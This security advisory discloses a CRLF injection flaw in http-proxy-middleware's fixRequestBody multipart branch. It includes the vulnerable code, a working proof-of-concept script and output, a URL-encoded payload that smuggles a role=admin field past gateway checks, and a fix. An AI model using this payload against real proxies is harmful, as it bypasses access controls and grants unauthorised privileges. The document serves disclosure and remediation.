CVE-2026-55603

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

• Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
• Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
• File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)